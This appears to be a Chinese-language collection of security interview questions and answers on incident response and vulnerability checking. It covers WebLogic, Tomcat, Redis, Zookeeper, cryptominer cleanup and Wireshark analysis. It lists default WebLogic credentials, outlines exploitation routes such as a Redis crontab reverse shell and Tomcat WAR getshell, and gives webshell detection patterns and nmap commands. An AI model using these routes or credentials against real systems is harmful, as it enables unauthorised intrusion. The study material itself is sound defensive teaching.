检测原理基于IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。通过这种方式,攻击者可以尝试枚举出服务器中存在的短文件名,再根据短文件名猜测出最终的文件名称信息。该工具通过尝试访问不同组合的短文件名来检测IIS服务器是否容易受到短文件名漏洞的影响。
如何判别 web 服务器是 windows 还是 linux
方法一:nmap 带上 -O 参数
方法二:查看 http 报头 Server 字段
方法三:Windows 对于大小写不敏感,替换某个字母为大写返回正常为 Windows,反之 Linux
方法四:TTL 返回值,TTL 为 64,有很大可能性为 Linux,TTL 为 128,有很大可能性为 Windows,TTL 为 255,有很大可能性为 UNIX(可修改 TTL)
参考链接:https://www.zhihu.com/question/20375910
Tomcat 漏洞利用
弱口令进入后台部署 war 包 getshell、put 方法任意文件上传 (CVE-2017-12615)、tomcat ajp 协议文件包含漏洞
Weblogic 后台默认密码
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件。WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。它将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic Server以其高扩展的架构体系闻名于业内,包括客户机连接的共享、资源pooling以及动态网页和EJB组件群集。它支持完整的Java EE规范,包括JSP、Servlet、EJB(Enterprise JavaBeans)、JMS(Java Message Service)、JNDI(Java Naming and Directory Interface)、JTA(Java Transaction API)等,适用于大规模分布式应用。
weblogic/weblogic
Weblogic 的 CVE-2019-2725 漏洞描述与修复方案
漏洞描述:由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。
修复建议:官方目前已发布针对此漏洞的紧急修复补丁,可以采取以下 4 种方式进行防护。
1)及时打上官方 CVE-2019-2725 补丁包
官方已于 4 月 26 日公布紧急补丁包,下载地址:
https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-546295.html?from=timeline
2)升级SDK版本
3)配置 URL 访问控制策略
部署于公网的 WebLogic 服务器,可通过 ACL 禁止对 /_async/ 及 /wls-wsat/ 路径的访问。
4)删除不安全文件
删除 wls9_async_response.war 与 wls-wsat.war 文件及相关文件夹,并重启 Weblogic 服务。具体文件路径如下:
10.3.x 版本:
\MiddleWare\server_10.3\server\lib%DOMAIN_HOME%\servers\AdminServer\tmp_WL_internal
%DOMAIN_HOME%\servers\AdminServer\tmp.internal\
12.1.3 版本:
\MiddleWare\Oracle_Home\oracle_common\modules%DOMAIN_HOME%\servers\AdminServer\tmp.internal%DOMAIN_HOME%\servers\AdminServer\tmp_WL_internal
注)wls9_async_response.war 及 wls-wsat.war 属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle 官方不建议对其进行此类操作。若在直接删除此包的情况下应用出现问题,将无法得到 Oracle 产品部门的技术支持。请用户自行进行影响评估,并对此文件进行备份后,再执行此操作。
假设现 weblogic 爆发 0day 漏洞,需要你紧急排查影响,说说你的看法?
题目描述:假设现 weblogic 爆发 0day 漏洞,weblogic 的 /vulpath 存在漏洞,所有存在 http://ip:port/vulpath 路径的系统均受影响,现已完成目标资产的端口扫描,需要你紧急排查受影响资产,请说说你的做法
假设端口扫描时已有版本识别,挑出所有 weblogic 服务。存在 IP+端口地址后,通过 url 批量检测脚本 httpCatcher.py 检测出是否存在 ip:port/vulpath 路径 200 返回值,返回即为受影响资产。
用法为:将 IP+端口存在一个 ip.txt 文件
152.136.121.47:808
39.108.141.35:443
39.108.141.35:80
然后修改 httpCatcher.py 的路径改为 /vulpath
1 | filename = sys.argv[1] |
输入命令 python httpCatcher.py ip.txt 1.csv 即可得到 1.csv 文件,查看即可
常见中间件的配置文件路径
apache (/etc/httpd/conf/)
nginx (/etc/nginx)
iis7 (C:\Windows\System32\inetsrv\config)
Struts2 反序列化漏洞
struts 是 java 的 web 框架。采取 OGNL 表达式,处理 view 层数据字符串到 controller 层转换成 java 对象,影响比较大的漏洞主要为 S2-045\046,通过 Content-Type 这个 header 头,进而执行命令,通过 Struts2 对错误消息处理进行回显。
Zookeeper 默认的端口
2181:对 cline 端提供服务
3888:选举 Leader 使用
2888:集群内机器通讯使用(Leader 监听此端口)
Zookeeper 未授权访问的检查方法
telnet zookeeper 端口,输入 envi,回显路径等信息则存在 zookeeper 未授权访问漏洞
请列出 Zookeeper 未授权访问漏洞的修复方案
- 禁止将 zookeeper 暴露在公网
- 使用 iptables 对端口进行访问控制
- 添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
- 绑定指定 IP 访问
如何检查 mongodb 未授权访问漏洞
方法一:使用 mongodb_unauth.py 脚本进行处理,将 ip 地址放进 target.txt,用法为:python mongodb_unauth.py target.txt
方法二:使用 nmap 插件,命令为:nmap -p 27017 –script mongodb-info 192.168.0.1/24
Redis 未授权漏洞产生原因
Redis 默认情况下会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
Redis 未授权漏洞利用条件
Redis 服务以 root 账户运行、无密码或弱密码进行认证、监听在 0.0.0.0 公网上
Redis 未授权漏洞利用
- 通过 Redis 的 INFO 命令,可以查看服务器相关的参数和敏感信息,为攻击者的后续渗透做铺垫
- 上传 SSH 公钥获得 SSH 登录权限
- 通过 crontab 反弹 shell
- slave 主从模式利用
Hadoop 组件与相关端口
NameNode:类似于 Linux 中的 root 根目录,用于管理数据块映射、处理客户端的读写请求、配置副本策略和管理 HDFS 的名称空间;端口号 50070
DataNode:在 HDFS 中真正存储数据,负责存储 client 发来的数据块 block、执行数据块的读写操作
ResourceManager:YARN 集群主控节点,负责协调和管理整个集群的资源;端口号 8088
NodeManager:负责管理一个 YARN 集群中的每一个节点;端口号 8042
HBase:分布式的开源数据库,依赖 Hadoop 生态系统;端口号 16010
Kafka:分布式消息中间件
HDFS:Hadoop Distributed File System,Hadoop 分布式文件系统
YARN:Hadoop 资源管理器
Kylin:开源的分布式分析型数据仓库,主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析等功能
Hadoop 的框架最核心的设计就是:HDFS 和 MapReduce。HDFS 为海量的数据提供了存储,则 MapReduce 为海量的数据提供了计算。
假设客户中了 GhostPetya 勒索病毒,请描述需要采取的应急解决方案
未部署端点安全的终端应急解决方案
- 做好重要文件的备份工作(非本地备份)。
- 开启系统防火墙。
- 利用系统防火墙高级设置阻止向 445 端口进行连接(该操作会影响使用 445 端口的服务)。
- 打开系统自动更新,并检测更新进行安装。
- 停止使用 Windows XP、Windows 2003 等微软已不再提供安全更新的操作系统。
- 如无需使用共享服务建议关闭该服务。
已部署端点安全的终端应急解决方案
- 如果用户已经部署终端管理类产品,可通过终端管理软件进行内网打补丁。
- 通过主机防火墙关闭入栈流量。主机防火墙关闭到 445 出栈流量。
- 开启文件审计,只允许 word.exe,explorer.exe 等对文件访问。
已经感染应急解决方案
- 断开网络连接,阻止进一步扩散。优先检查未感染主机的漏洞状况(可直接联系网御星云公司,提供免费检测工具使用),做好漏洞加固工作后方可恢复网络连接。
- 已经感染终端,根据终端数据类型决定处置方式,如果重新安装系统则建议完全格式化
预防措施:
打补丁:及时给系统打补丁,修复漏洞。
装杀软:安装杀毒软件,及时更新病毒库。开启防火墙,并升级到最新版本,阻止勒索病毒与其 C&C 服务器通信。
做备份:定期对重要文件以及数据库做非本地备份。电脑开启系统备份,并添加保护(这样可通过卷影备份将系统恢复到被加密之前的状态)。
备份恢复:如果事先已对关键文件做了备份,在确保已清除病毒情况下可做数据备份恢复。如果卷影备份未被勒索病毒删除,可通过卷影备份将系统恢复到未感染勒索病毒的时间点。
改密码:使用长度大于 10 位的复杂密码。
加限制:禁用 GUEST 来宾用户。尽量不要使用局域网共享,或把共享磁盘设置为只读属性,不允许局域网用户改写文件。尽量关闭不必要的端口,如:445、135、139、3389、5900 。
防钓鱼:不要点击来源不明的邮件以及附件,钓鱼邮件是勒索病毒的重要传播源。
如何排查常见挖矿木马
- 系统响应缓慢
- CPU/显卡使用率过高
- 内存/带宽占用高
登录进可疑主机后,可以通过以下方式确认挖矿木马:
- 查看进程(系统命 ps、ls 令有可能被替换)
- 检查日志、检查系统用户
- 发现异常文件
ddos 攻击如何去防范
目前对于低网络层的 DDoS 攻击有一些有效的防护手段,如丢弃第一次 SYN 包,上流量防护设备,上 WAF 封禁地址等。
比较难缠的是第七层,第八层的 CC 攻击,它会找到目标网站上比较消耗资源的关键位置,重复发起攻击以消耗 CPU/内存/数据库 IO 等资源,目前的应付手段有:优化资源消耗高位置的代码,增加硬件设备,上云,购买专业安全公司的安全服务。
除此之外,隐藏服务器的真实 IP、上云 WAF、CDN、负载均衡等设备,或者暂时将域名解析到公安网警网站等 也是可以作为选择方案。
如何清查互联网暴露面
对于客户不清楚自己是否还有其他互联网暴露面的时候,需要先将客户已知的资产清单收集起来,方便后续对比。
对于公网暴露面:在出口网关设置流量监控工具(wireshark 或者自带防火墙),检测足够长的时间以获得可能存在的暴露 IP 地址 nmap 公网扫描全端口走一波,然后对照已知资产清单即可。
nmap 全端口扫描命令:nmap -sV -n -Pn -p- -iL ip.txt -oA OUTPUT –no-stylesheet –min-rate 5000 –max-retries 3
未认领的资产进行下线关停处理。
如何开展扫描任务
题目描述:某专业公司 A 公司安全项目,跟专业公司 A 谈妥后完成了外网扫描任务,现在进行内网扫描。由于业务量比较大安排在晚上下班后进行扫描。第一天扫描晚上 9 点由于不明原因导致 A 专业公司所有系统无法访问,被专业公司 A 的人询问情况,第二天检查原因发现,是因为所有流量是经过 VPN 到达主机,导致进出口 VPN 网关堵塞,业务无法正常访问,请问被专业公司 A 的人询问情况如何应急处理?判断原因并说明后续如何开展扫描任务?
首先调解客户情绪,跟客户沟通,立马停止扫描以恢复业务系统正常,并告知 A 公司进行排查原因,检查网络与主机情况。
其次考察网络知识,既然流量通过 VPN 会进行堵塞,想办法绕过此 VPN 或者降速,这里要求提供内网扫描机器进行扫描即可,但需要吸取上次经验扫描前进行扫描测试,如在中午休息的时候进行探测性扫描,测压。然后在晚上再进行扫描,扫描时需要 A 公司派网管人员帮忙查看系统状况是否正常。
客户并想要我方帮忙修复漏洞,此场景怎么处理
题目描述:扫描任务结束后将结果发给 A 公司,A 公司对其中的一类型漏洞表示疑惑:认为自己没有办法修复此类漏洞(比较积极的专业公司),向我方询问,并想要我方帮忙修复漏洞。此场景应该怎么处理?
考察责任划分问题,原则上是不允许直接操作客户公司的机器,以及对于客户机器权限需要特别谨慎对待,我们负责解释漏洞这方面的事宜,并且积极的提供整改建议,并不能直接或者间接操作客户机器。
其次考验客户想让我们直接修复漏洞的处理方式,这种情况会经常出现在我们的日常工作中,我们要说明职责范围:我们只负责解释漏洞描述和原理以及修复建议,他们负责整改,我们对系统业务不熟悉,我们亲自修复话出现风险和问题也是我们承担不了的。
安全任务结束后我司发结果给客户时,遗漏了某个漏洞,如何给客户解释处理
题目描述:安全任务结束后,发还结果给 A 公司,A 公司经过检查后发现某个漏洞没有出现在结果里,被遗漏了。经检查后发现确实是我方当时没有扫描出来,如何跟客户解释和处理?
先确认该漏洞是否存在
如果漏洞存在:也就是我们没扫出来,就需要检查当时资产是否有活,是不是关停又开起来,是不是因为当时网络不好,带宽不够大,网络波动大,外网环境不稳定、WAF 拦截等,先稳住客户情绪,让客户相信我们是有能力的,只是偶尔因为不可控因素出现了问题,然后提供补救方案,进行补扫等后续方案
如果漏洞扫不出来:换个扫描器,比较差异,如果还是扫不出来的话,就要考虑优化方案,看要不要立个专项检测来单独对此漏洞进行批量排查。如果实在是我们的问题,找不到理由圆场的话,我们就老实承认,找客户经理进行沟通,提出不足并且要有改进的方案等,考虑如何给客户一个满意的交代,确保下次不会再出现此类问题。
服务器被挖矿的原因
为了追求高效率,现在的黑客一般都是通过自动化脚本去扫描互联网上所有机器,寻找漏洞然后部署挖矿进程。所以大部分的挖矿都是由于受害者的主机上存在常见的漏洞。比如:
1)未授权访问或弱口令:Redis 未授权访问、Docker API 未授权访问、Hadoop Yarn 未授权访问、NFS 未授权访问、Rsync 弱口令、PostgreSQL 弱口令、Tomcat 弱口令、SSH 弱口令、Telnet 弱口令、Windows 远程桌面弱口令;
2)远程命令执行漏洞:WebLogic XML 反序列化漏洞、Jenkins 反序列化、Jboss 远程代码执行、Spring 远程代码执行、ElasticSearch 命令执行、永恒之蓝、Struts2 系列漏洞、常见 CMS 的远程命令执行漏洞;
3)新爆的高危漏洞:一般每次爆发新的高危漏洞,都会紧跟一波大规模的全网扫描利用和挖矿。
一旦发现服务器被挖矿,应该首先查看挖矿进程所属的用户,根据挖矿进程的运行用户去排查该用户下是否还运行着其它进程,确定这些进程是否有上述经常被黑客利用的漏洞。如果有常见的漏洞,则应该重点对此进行排查。
如何清除挖矿木马
1)及时隔离主机
部分带有蠕虫功能的挖矿木马在取得本机的控制权后,会以本机为跳板机,对同一局域网内的其他主机进行已知漏洞的扫描和进一步利用,所以发现挖矿现象后,在不影响业务的前提下应该及时隔离受感染主机,然后进行下一步分析。
2)阻断与矿池通讯
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
3)清除定时任务
大部分挖矿进程会在受感染主机中写入定时任务完成程序的驻留,当安全人员只清除挖矿木马时,定时任务会再次从服务器下载挖矿进程或直接执行挖矿脚本,导致挖矿进程清除失败。
4)清除启动项
有的挖矿进程为了实现长期驻留,会向系统中添加启动项来确保系统重启后挖矿进程还能重新启动。所以在清除时还应该关注启动项中的内容,如果有可疑的启动项,也应该进行排查,确认是挖矿进程后,对其进行清除。
5)清除公钥文件
在用户家目录的 .ssh 目录下放置 authorized_keys 文件,从而免密登录该机器也是一种常见的保持服务器控制权的手段。在排查过程中应该查看该文件中是否有可疑公钥信息,有的话直接删除,避免攻击者再次免密登录该主机。
6)kill 挖矿进程
对于单进程挖矿程序,直接结束挖矿进程即可。但是对于大多数的挖矿进程,如果挖矿进程有守护进程,应先杀死守护进程再杀死挖矿进程,避免清除不彻底。在实际的清除工作中,应找到本机上运行的挖矿脚本,根据脚本的执行流程确定木马的驻留方式,并按顺序进行清除,避免清除不彻底。
1、Webshell 流量交互的流量特征有哪些
- Webshell 是用来控制服务器的,在控制服务器的过程中,就会触发许多系统函数,例如 eval、z0(菜刀特征)、shell,需监控这些关键的函数,具体需要查看是哪个网页发起的请求进行鉴别。
- Webshell 连接可能使用 base64 编码,正常功能也会使用 base64 容易引起误报,一般与 eval 数量对比,数量差异较小时可能被上传 webshell 进行编码通讯。
- 除了系统函数、base64 编码通讯外,还存在 int_set(“display_errors”,”0”),为 Webshell 流量特征之一。
- 还可以监控 ifconfig whoami ipconfig 等关键命令,这是获得 Webshell 后基本上都会执行的命令。
批量检查 http 服务使用什么工具和简略使用步骤
方法一:直接使用 nmapSV.py 工具即可,用法为 python3 nmapSV.py ip.txt result.txt
方法二:使用 nmap 工具扫描,带上 -sV 参数进行版本识别即可,将待检测的 IP 地址/地址段添加进 ip.txt 文件中。使用命令 nmap -sV -iL ip.txt -oA OUTPUT –no-stylesheet,扫出来的结果导出 nmap 文件,使用 nmapReport 工具得出结果。
存活性探测的简要步骤
使用 nmap 工具进行存活性探测 使用 nmap,命令 nmap -sP -n -iL ip.txt -oA OUTPUT –no-stylesheet
在 Linux 中使用 cat OUTPUT.gnmmap |grep Up |awk ‘{print $2}’ > ip.cunhuo.txt 即可得到存活 IP
假设发现数据库短时间内查询异常次数增多,描述 sql 查询异常流量分析的思路
数据库短时间内查询增多有可能遭遇到了扫描或者 sql 注入测试,可以结合流量分析工具进行研判。
select 和 union 为数据库查询语句特征,当这两者数量出现次数较多而且差异较小可能存在 SQL 注入漏洞或正在被扫描器扫描,可监控这两个关键字,但还需要进一步查看具体请求参数。如:
1)使用 wireshark 打开抓取后的流量包
2)对于抓取到的数据包筛选出 HTTP 协议包,在统计处筛选出短时间内流量较大的 IP
描述流量分析溯源的思路
假设发现 web 应用服务器发现文件异常增多,初步怀疑被上传 webshell,描述流量分析溯源的思路
可利用流量工具进行溯源:
1)查看 eval、z0、shell、whoami 等关键字,查看出现次数过多的时候,可能需要查看是哪个页面发起的请求,有可能是 webshell
2)通过 WireShark 工具快速搜索关键字,定位到异常流量包
3)找出异常 IP 和所上传的内容,查看是否为 webshell
如何定位到攻击 IP:
1)首先通过选择-统计-对话查看流量的走向情况,定位可疑的 IP 地址
2)根据定位到的 IP 地址,尝试对上传的 webshell 进行定位 ip.addr == ip && http matches “upload||eval|select|xp_cmdshell” && http.request.method == “POST”
3)查找到 Webshell 后尝试溯源漏洞位置,http.request.uri contains “webshell.php”,定位到最开始 webshell 执行或上传的时候
4)根据最开始的 HTTP 上传包或者其他漏洞特产定位漏洞类型
wireshark 简单的过滤规则
过滤 ip:过滤源 ip 地址:ip.src==1.1.1.1;目的 ip 地址:ip.dst==1.1.1.1;
过滤端口:过滤 80 端口 tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80
协议过滤:直接输入协议名即可,如 http 协议 http
http 模式过滤:过滤 get/post 包 http.request.method==”GET/POST”
客户给到你有 50 万个 ip,要求你两周内做完全端口扫描,你会怎么做
从两方面回答:
1)如何对客户要求做出解释并合理调整
2)如何提高全端口扫描效率,既保证速度,又保证准确率。
首先客户提出两周 50w 个 ip 全端口这个肯定不现实,所以要考虑跟客户解释,有必要对扫描任务进行时间调整,安排尽可能多的扫描资源,如扫描机器,扫描网络带宽等,参考扫描 100 个 IP 端口的平均时长,估计扫完的时间,给出 30 天时间左右答复,并且留出一周进行后续补扫,文档整理等。
使用到多线程、分布式和高并发,采用 masscan + nmap,先 masscan 存活过一遍,把未存活 IP 剔除掉;使用分布式 nmap 高并发发过一遍端口,也可以 masscan 端口扫描过一遍,在 nmap 进行探测
由于 IP 数量过多,不能直接把所有的 IP 都丢上去扫,时间肯定不够可以跟客户商量减少 IP 数量,对未存活的 IP 进行筛选过滤,加快扫描速度需要进行参数微调,如 –min-hostgroup、–min-rate 和 –min-parallelism。对于存在防火墙的情况,可以提出需要提供扫描器
数据整理:对于大量的 list 和 json 使用 python-nmap python-masscan,扫描 1 个 IP 处理 1 个 IP
常见的取证分析工具
Wireshark、xplico、Volatility、FastIR Collector、Autopsy、DumpIt、FTK Imager、Foremost、Scalpel、Bulk_extractor 等。